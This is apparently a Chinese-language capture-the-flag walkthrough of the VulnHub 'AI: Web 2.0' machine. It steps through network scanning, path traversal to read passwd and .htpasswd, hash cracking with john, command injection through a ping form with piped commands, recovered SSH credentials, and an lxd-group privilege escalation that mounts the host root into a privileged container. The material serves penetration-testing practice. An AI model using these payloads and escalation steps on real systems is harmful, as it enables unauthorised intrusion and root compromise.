vulnhub靶场ai-web 2.0

发布于:2024-07-02 ⋅ 阅读:(17) ⋅ 点赞:(0)

1 信息收集

1.1 主机发现

arp-scan -l

主机地址为192.168.1.4

1.2 服务端口扫描

nmap -sS -sV -A -T5 -p- 192.168.1.4

开放22,80端口

2 访问服务

2.1 80端口访问

http://192.168.1.4:80/

先尝试admin等其他常见用户名登录无果

然后点击signup发现这是一个注册接口

注册好username就可以直接进行登录,这里注册一个root

根据页面提示内容进行搜索

发现此为目录遍历漏洞

采用/download.php?file_name=…/etc/passwd的形式读取

一点一点的尝试

../../../../../../etc/passwd

根据之前信息收集的结果来看,服务器采用apache

所以尝试读取/etc/apache2/.htpasswd文件

得到对应的hash密码

尝试使用工具破解

这里采用john工具进行破解,kali自带

使用john进行爆破一下,,,,发现爆破不了,,, 后面看了描述提示了字典:

This is the second box from the series AI: Web and you will have more fun to crack this challenge.
The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root.
You may need to crack password. Use wordlist SecLists/rockyou-45.txt by Mr. Daniel Miessler.
For any hint please tweet on @arif_xpress

使用字典:https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-45.txt

john --wordlist=rockyou-45.txt temp.txt 

得到账号密码:aiweb2admin:c.ronaldo

尝试之前发现的ssh端口,发现不是ssh账号密码

3 目录扫描

3.1 dirb扫描

发现了webadmin页面需要密码账号登录

尝试用刚刚收集到的账号密码

账号aiweb2admin 密码c.ronaldo

发现可以登录

根据提示内容,得知还有robots页面

根据文件内容提示获取以下两个路径

http://192.168.1.4/webadmin/H05Tpin9555/

http://192.168.1.4/webadmin/S0mextras/

第一个页面中为ping测试的内容,可以通过命令执行漏洞方式来获取其他内容

而第二个页面中提示寻找一些有趣的东西在本文件夹中

首先在ping页面中输入127.0.0.1查看结果

显示为ping IP的反馈

使用管道符分割后再提交可以看到发生了变化

127.0.0.1|ls

发下其读出了文件夹下目录

已知此页面与需要查看文件页面为同级 如果返回上级页面再进入S0mextras下有可能会获取到对应的文件内容

使用

127.0.0.1|find ../S0mextras/ . -type f 2>/dev/null

获得以下结果

可以看到隐藏文件 .sshUserCred55512.txt

http://192.168.1.4/webadmin/S0mextras/.sshUserCred55512.txt

账号:n0nr00tuser 密码:zxowieoi4sdsadpEClDws1sf

使用其登录ssh 登录成功

至此成功登入对应服务器

4 提权

4.1 查看权限

id查看权限

发现用户属于lxd组

想到了lxd提权

使用

find / -perm -u=s -type f 2>/dev/null

从根目录查找具有root权限的二进制文件

刚好发现了lxc也存在root权限

4.2 创建容器,挂载磁盘,进入容器,进入目录提权

GitHub - saghul/lxd-alpine-builder: Build Alpine Linux images for LXD

把容器上传进去

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test //创建容器test

lxc init test test -c security.privileged=true //初始化

lxc config device add test test disk source=/ path=/mnt/root recursive=true //给 test 添加磁盘挂载到/mnt/root 本机的/根目录等价于容器的/mnt/root 目录

lxc start test //启动容器

lxc exec test /bin/sh //此时就是 root 权限,因为这个容器是你创建的,所以你享有所有权,如果你访问/root 是没有文件的

cd /mnt/root/root //这其实就是访问服务器的/root 目录

cat flag.txt

由于这个用户是在 lxd 组里面,所以他能创建容器,然后把 root 权限能操作的目录,挂在到容器里

面,那么你再进入容器里面进行操作的话,就是 root 权限